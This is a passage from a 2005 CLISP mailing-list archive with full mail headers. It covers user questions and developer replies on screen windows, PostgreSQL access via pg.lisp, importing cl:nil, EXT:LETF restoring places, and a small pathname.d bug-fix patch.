[8]> :r2 > New JA: 5 > 5 > [9]> ja > 5 > [10]> (describe 'ja) > > JA is the symbol JA, lies in #, is accessible > in 1 > package COMMON-LISP-USER, a variable, value: 5. > [...] > The question is: What goes on here. Is this a SETQ or a SETF or > something else? You could check the sources of the debugger, but the most probablem is that it used (SET symbol (READ)) or (SETF (SYMBOL-VALUE symbol) (READ)) to bind the value to the symbol. > Second Question: (found in 31.1 Random Screen Access) > > (SCREEN:MAKE-WINDOW) > > sets a blue background and hides the blink-cursor as visible effect. > Now, how to get back from there to the usual black window and the > blinking cursor? [6]> (lspack :screen :exports) SCREEN Symbols: 17 exported, 17 total. Uses: COMMON-LISP EXT Exported: *NEW-WINDOW* *WINDOW* CLEAR-WINDOW CLEAR-WINDOW-TO-EOL CLEAR-WINDOW-TO-EOT DELETE-WINDOW-LINE HIGHLIGHT-OFF HIGHLIGHT-ON INSERT-WINDOW-LINE MAKE-WINDOW READ-KEYBOARD-CHAR SET-WINDOW-CURSOR-POSITION WINDOW-CURSOR-OFF WINDOW-CURSOR-ON WINDOW-CURSOR-POSITION WINDOW-SIZE WITH-WINDOW Use SCREEN:WITH-WINDOW ? Or setup things to get a REPL on another channel, like a socket or an xterm using EXT:MAKE-XTERM-IO-STREAM. For example: (let ((*win* (screen:make-window)) (user (ext:make-xterm-io-stream))) (declare (special *win*)) ;; TODO: bind *win* or user to *standard-input*, *standard-output*, etc... (unwind-protect (loop initially (format user "~&> ") (finish-output user) for input = (read user nil user) until (or (eq input user) (eq input :quit)) do (print (eval input) user) ; TODO add error handling (format user "~&> ") (finish-output user)) (close user) (close *win*))) Then in the xterm, type: (screen:SET-WINDOW-CURSOR-POSITION *win* 10 10) RET (princ "Hello" *win*) RET and when you're done, type: :quit RET You can use SCREEN:READ-KEYBOARD-CHAR or directly EXT:KEYBOARD-INPUT while the window is active to get input from the user, and you can implement your own commands. For example: (let ((window (screen:make-window))) (screen:with-window window (loop for ch = (screen:read-keyboard-char t) until (char= ch (character "q")) collect ch))) Then type: abc RET def RET ghq RET and get: (#\a #\b #\c #\Newline #\d #\e #\f #\Newline #\g #\h) -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From ampy@ich.dvo.ru Sun Jul 31 19:12:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzPme-0001AX-87 for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 19:12:04 -0700 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzPmc-0000ya-Ka for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 19:12:04 -0700 Received: by chemi.ich.dvo.ru (Postfix, from userid 651) id 5ACE910D480; Mon, 1 Aug 2005 13:11:57 +1100 (VLAST) Received: from 192.168.8.116 (unknown [192.168.8.116]) by chemi.ich.dvo.ru (Postfix) with ESMTP id 398CC10D1E9; Mon, 1 Aug 2005 13:11:57 +1100 (VLAST) From: Arseny Slobodjuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <1686752296.20050801131217@ich.dvo.ru> To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2-questions In-Reply-To: <42ECCEB5.36EBFA19@freenet.de> References: <42ECCEB5.36EBFA19@freenet.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 19:14:12 2005 X-Original-Date: Mon, 1 Aug 2005 13:12:17 +1100 Hi. > Second Question: (found in 31.1 Random Screen Access) > (SCREEN:MAKE-WINDOW) > sets a blue background and hides the blink-cursor as visible effect. > Now, how to get back from there to the usual black window and the > blinking cursor? When finished using random screen access, close the stream returned from (SCREEN:MAKE-WINDOW) and black screen returns. -- Arseny From goenzoy@gmx.net Sun Jul 31 20:46:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzRFu-0004bI-B2 for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 20:46:22 -0700 Received: from mail.gmx.de ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1DzRFt-0004Ma-Ow for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 20:46:22 -0700 Received: (qmail 10993 invoked by uid 0); 1 Aug 2005 03:46:11 -0000 Received: from 192.18.42.10 by www70.gmx.net with HTTP; Mon, 1 Aug 2005 05:46:12 +0200 (MEST) From: "Gottfried Zojer" To: Kaz Kylheku Cc: mkb@incubus.de, clisp-list@lists.sourceforge.net MIME-Version: 1.0 References: X-Priority: 3 (Normal) X-Authenticated: #9295279 Message-ID: <8994.1122867972@www70.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] =?ISO-8859-1?Q?Re:_Lisp_compared__with_Haskell_/CLISP_bytecode_-->_Java_b?= =?ISO-8859-1?Q?ytecode?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 20:48:18 2005 X-Original-Date: Mon, 1 Aug 2005 05:46:12 +0200 (MEST) Hallo Kaz and Matthias , I meant a reall world comparisation also in case of real time like the interface between Haskell and OpenGL as example I pointed out both languages with interfaces towards java. So I m wondering whats the difference between CLISP bytecode --> Java bytecode because I can see that this transformation is a open task ( ToDo) on the project pages of Clisp. Thanks for any feedback Rgds Gottfried > --- Ursprüngliche Nachricht --- > Von: Kaz Kylheku > An: Matthias Buelow > Kopie: Gottfried Zojer , > > Betreff: Re: Lisp compared with Haskell > Datum: Sat, 30 Jul 2005 08:58:30 -0700 (PDT) > > On Sat, 30 Jul 2005, Matthias Buelow wrote: > > > Date: Sat, 30 Jul 2005 06:32:57 +0200 > > From: Matthias Buelow > > To: Gottfried Zojer > > Cc: clisp-list@lists.sourceforge.net > > Subject: Re: [clisp-list] Lisp compared with Haskell > > > > Gottfried Zojer wrote: > > > > >Maybe a bit off topic question.But is somebody aware of any nice paper > or > > >pamphlet what is comparing Haskell and Lisp in a reall time situation. > > > > IMHO, the two are such different beasts that any comparison is > > futile. I'm dabbling in both Lisp and Standard ML every now and > > then, and while SML is a lot more "Lisp-like" than Haskell (for > > example, it's got call-by-value and value assignments) I consider > > them two completely different playgrounds. Surely Haskell and Lisp > > are even more estranged. > > To consider a ``real-time situation'', you can't separate the language > >from the implementation. The features of the Lisp or Haskell > implementations have more bearing on real-time performance than the > languages themselves. Firstly, you look at what kind of compiler and GC > do you have. Then things like the quality of the foreign calling > interface, the escape hatches to gain access the platform and > machine, the thread and interrupt safety of various areas of the > run-time, etc. And then, what flavor of ``real-time'' anyway? > > -- > Meta-CVS: the working replacement for CVS that has been stable since > 2002. It versions the directory structure, symbolic links and execute > permissions. It figures out renaming on import. Plus it babysits the kids > and does light housekeeping! http://freshmeat.net/projects/mcvs > From kania_potter@yahoo.com Mon Aug 01 03:49:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzXqu-0002go-DL for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 03:49:00 -0700 Received: from web30412.mail.mud.yahoo.com ([68.142.201.235]) by mail.sourceforge.net with smtp (Exim 4.44) id 1DzXqt-0007n2-AR for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 03:49:00 -0700 Received: (qmail 75338 invoked by uid 60001); 1 Aug 2005 10:48:53 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=Q3SV+5hu7mUPYozQI9yM4WXTChYt6pSn8uebchFfAOd9rnOKqyoisZXiUIesm0nLAIG8iRJK4Nv/HxryJmvTFZ0M0fDiQaTZ/UzzsPaEMn8olJh0Gk8Q4jbNFEWeRrsniM1UfPfBb1rOGM/0LjnVCv4mf0XtQ3h3PpbebKrc0Hs= ; Message-ID: <20050801104853.75336.qmail@web30412.mail.mud.yahoo.com> Received: from [202.95.157.30] by web30412.mail.mud.yahoo.com via HTTP; Mon, 01 Aug 2005 03:48:53 PDT From: Kania Potter Reply-To: kania_potter@yahoo.com Subject: [clisp-list] connect to database postgresql To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 1 03:50:32 2005 X-Original-Date: Mon, 1 Aug 2005 03:48:53 -0700 (PDT) Iam a newbie in clisp.... I try to make a connection database, I use Fedora Core 3, clisp-2.33.2. I try an example code, I get those code in tutorial for clisp.....but when I load that, my program didn't run well..... This an error message : [1]> (load "/root/LISP/ex-sql1.lisp") ;; Loading file /root/LISP/ex-sql1.lisp ... *** - READ from #: there is no package with name "PG" Break 1 [2]> (load "/root/LISP/ex-sql2.lisp") ;; Loading file /root/LISP/ex-sql2.lisp ... ** - Continuable Error EVAL: undefined function PQ-CONNECTDB If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'PQ-CONNECTDB). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'PQ-CONNECTDB). Please help me, how to connect database to the code!! I try other examples, and same result....."PG" its not recognize. This is my program : (defun demo () (interactive) (with-pg-connection (conn "testdb" "login" :host "dbhost" :password "secret") (with-pg-transaction conn (when (member "test_date" (pg-tables conn) :test #'string=) (pg-exec "DROP TABLE test_date")) (pg-exec conn "CREATE TABLE test_date(a timestamp, b abstime, c time, d date)") (pg-exec conn "INSERT INTO test_date VALUES" "(current_timestamp, 'now', 'now', 'now')")))) Where Iam wrong.....??? Thanks for the answer. regards, kania "Draco dormiens nunquam titillandus" __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From Joerg-Cyril.Hoehle@t-systems.com Mon Aug 01 05:43:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzZdl-000759-4E for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 05:43:33 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzZdj-0001xJ-JZ for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 05:43:33 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 1 Aug 2005 14:43:20 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 1 Aug 2005 14:42:32 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305458C5E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kania_potter@yahoo.com Subject: [clisp-list] connect to database postgresql MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 1 05:45:16 2005 X-Original-Date: Mon, 1 Aug 2005 14:42:30 +0200 Kania Potter wrote: > (with-pg-connection (conn ...) > (with-pg-transaction conn > (pg-exec "DROP TABLE test_date")) >Where Iam wrong.....??? You need Eric Marsden's pg.lisp which is distributed separately. Last = time I looked (some time ago), I found pg-dot-lisp-0.19.tgz somewhere = on the net. I'm sure Cliki http://cliki.net will lead you to such a = place. -- Or I can send you that 21KB compressed tar archive directly? Regards, J=F6rg H=F6hle From c.turle@wanadoo.fr Mon Aug 01 12:02:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzfYA-0007nj-AF for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 12:02:10 -0700 Received: from smtp11.wanadoo.fr ([193.252.22.31]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzfY9-0002Uv-2g for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 12:02:10 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 6FBE71C000AE for ; Mon, 1 Aug 2005 21:02:01 +0200 (CEST) Received: from verbobonc (ARennes-352-1-27-170.w83-195.abo.wanadoo.fr [83.195.234.170]) by mwinf1102.wanadoo.fr (SMTP Server) with SMTP id 242371C000B0 for ; Mon, 1 Aug 2005 21:02:01 +0200 (CEST) X-ME-UUID: 20050801190201148.242371C000B0@mwinf1102.wanadoo.fr Message-ID: <000b01c596cb$5d359f90$0e01a8c0@verbobonc> From: "christophe turle" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] cl:nil bug ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 1 12:04:03 2005 X-Original-Date: Mon, 1 Aug 2005 21:01:03 +0200 I have some troubles with the import/export of the cl:nil symbol. CLISP 2.34, win32 P3> (cl:defpackage :p4 (:use)) # P3> (cl:import 'cl:nil :p4) T P3> (cl:in-package :p4) # P4> nil ; Evaluation aborted <-- debugger telling me nil is not bound ; It works with version 2.33.1 P4> (cl:defpackage :p5 (:use) (:import-from :cl nil)) # P4> (cl:in-package :p5) # P5> nil NIL From ashwin.shirvanthe@gmail.com Mon Aug 01 22:10:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dzp2V-0001nI-Cn for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 22:10:07 -0700 Received: from wproxy.gmail.com ([64.233.184.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dzp2T-0001A5-Vh for clisp-list@lists.sourceforge.net; Mon, 01 Aug 2005 22:10:07 -0700 Received: by wproxy.gmail.com with SMTP id i3so1165950wra for ; Mon, 01 Aug 2005 22:09:57 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=D0GAPgPYZyiK2do9UyRET7NAqlgkM7sHPv7NeMrVc7bTiCP6GiCB7QgZT9Uyv3mplvHgQpk319N+bE/RH3UTpltjwLQ6oNnYlgrLOBD76qHp9Q1IgVfJT/HbsFtSv7xATGRDcIze+x30wYknSJngpQ3FcPa8/idAWfKLCRnRzSo= Received: by 10.54.42.62 with SMTP id p62mr3508740wrp; Mon, 01 Aug 2005 22:09:57 -0700 (PDT) Received: by 10.54.95.7 with HTTP; Mon, 1 Aug 2005 22:09:57 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: clisp-list@lists.sourceforge.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 1 22:11:29 2005 X-Original-Date: Tue, 2 Aug 2005 10:39:57 +0530 On 7/28/05, Sam Steingold wrote: > >> Is there a way I can tell socket-status to return only if :input or > >> :io operations are permissible in the sockets present in the list or > >> is it possible to make socket-status return only if :input is status > >> of one or :output is status of other. > >> (PS something similar to setting the readfs and writefds of select sys= tem call). > > > > I sent you the link. RTFM. >=20 > BTW, if you find the documentation unclear, please do submit a patch. >=20 The document is great and very clear. You are all right, I didnt _read_ the document properly. I got a bit confused because of mistakes in my code and in my thinking. I sent a message in haste. I shouldn't have done that. Sorry for the inconvenience to all subscribed to this list. Regards, Ashwin From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 02 01:24:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dzs4a-000100-7K for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 01:24:28 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dzs4Y-0000cH-NG for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 01:24:28 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 2 Aug 2005 10:24:17 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 2 Aug 2005 10:23:30 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305458D9B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: c.turle@wanadoo.fr Subject: AW: [clisp-list] cl:nil bug ? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 01:27:35 2005 X-Original-Date: Tue, 2 Aug 2005 10:23:29 +0200 christophe turle writes: >I have some troubles with the import/export of the cl:nil symbol. That's a symptom similar to other functions/macros which accept lists = of symbols, but also the degenerate just-a-symbol case for convenience. = Spot places in CLHS that say: "a designator for a list of symbols." and = look up the "designator" glossary entry. That convenience strikes back when people what to use NIL as a symbol. You need to say (NIL) (or '(NIL) for functions) instead. CASE is the most famous example. You need (import '(nil)) Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 02 02:21:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzsxW-0003aD-QQ for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 02:21:14 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzsxV-00021O-9u for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 02:21:14 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 2 Aug 2005 11:21:02 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 2 Aug 2005 11:21:02 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305458DEF@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ext:letf with gethash and symbol-value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 02:23:53 2005 X-Original-Date: Tue, 2 Aug 2005 11:20:55 +0200 Hi, several times I've been bitten by EXT:LETF, which generally sounds like = a useful macro. It does something like (unwind-protect (setf place value) body (setf = place original-value)) However, it does not correctly restore the original state when used = with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit, = whereas they might have been unset/unbound before. [27]> (let ((h(make-hash-table)))(ext:letf (((gethash 'a h) 'b))1)h) #S(HASH-TABLE :TEST FASTHASH-EQL (A . NIL)) ; expected empty hash table Furthermore, (ext:letf (((symbol-value 'a) 3)) a) errors out when a is = not bound prior to entering the form. A consistent integration of LETF with places would restore the boundp = state. Hmm, the same argument would apply to struct slots... The current behaviour is very close to a bug, wouldn't you think? Regards, J=F6rg H=F6hle. From sds@gnu.org Tue Aug 02 06:45:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dzx5H-00069u-Ri for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 06:45:31 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dzx5D-0002EH-HB for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 06:45:32 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j72Dj7ki008428; Tue, 2 Aug 2005 09:45:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nelson H. F. Beebe's message of "Tue, 26 Jul 2005 15:54:24 -0600 (MDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 06:47:54 2005 X-Original-Date: Tue, 02 Aug 2005 09:44:24 -0400 > * Nelson H. F. Beebe [2005-07-26 15:54:24 -0600]: > > 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, > logical=false) at pathname.d:4717 > 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) thanks for the bug report. the patch is appended. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS DOS: Keyboard not found. Press F1 to continue. --- pathname.d 22 Jul 2005 14:29:22 -0400 1.380 +++ pathname.d 01 Aug 2005 11:55:24 -0400 @@ -4076,7 +4076,7 @@ } } } -#define DIRECTORY_TRIVIAL_P(dir) (nullp(dir) || (eq(Car(dir),S(Krelative)) && nullp(Cdr(dir)))) +#define DIRECTORY_TRIVIAL_P(dir) (nullp(dir) || (consp(dir) ? (eq(Car(dir),S(Krelative)) && nullp(Cdr(dir))) : false)) local bool directory_match (object pattern, object sample, bool logical) { if (nullp(pattern)) /* compare pattern with directory_default */ return true; From beebe@math.utah.edu Tue Aug 02 15:41:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E05SD-0008OI-79 for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 15:41:45 -0700 Received: from sunshine2.math.utah.edu ([155.101.96.3] ident=[b9RLovNBO9QfpIPNkODp3z+59nXFD3+b]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E05SB-0004AP-VJ for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 15:41:45 -0700 Received: from psi.math.utah.edu (IDENT:GG2jrYiELSnCAifEj1OTMstaYGe35XY2@psi.math.utah.edu [155.101.96.19]) by sunshine2.math.utah.edu (8.13.4/8.13.4) with ESMTP id j72Klo0L016519; Tue, 2 Aug 2005 14:47:50 -0600 (MDT) Received: from psi.math.utah.edu (IDENT:7nJEONkWehsbDY+tfHaW/SkL8XYcecPw@localhost [127.0.0.1]) by psi.math.utah.edu (8.13.4/8.13.4) with ESMTP id j72KlnK9007708; Tue, 2 Aug 2005 14:47:49 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.4/8.13.4/Submit) id j72KlnTD007707; Tue, 2 Aug 2005 14:47:49 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net Cc: beebe@math.utah.edu, clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 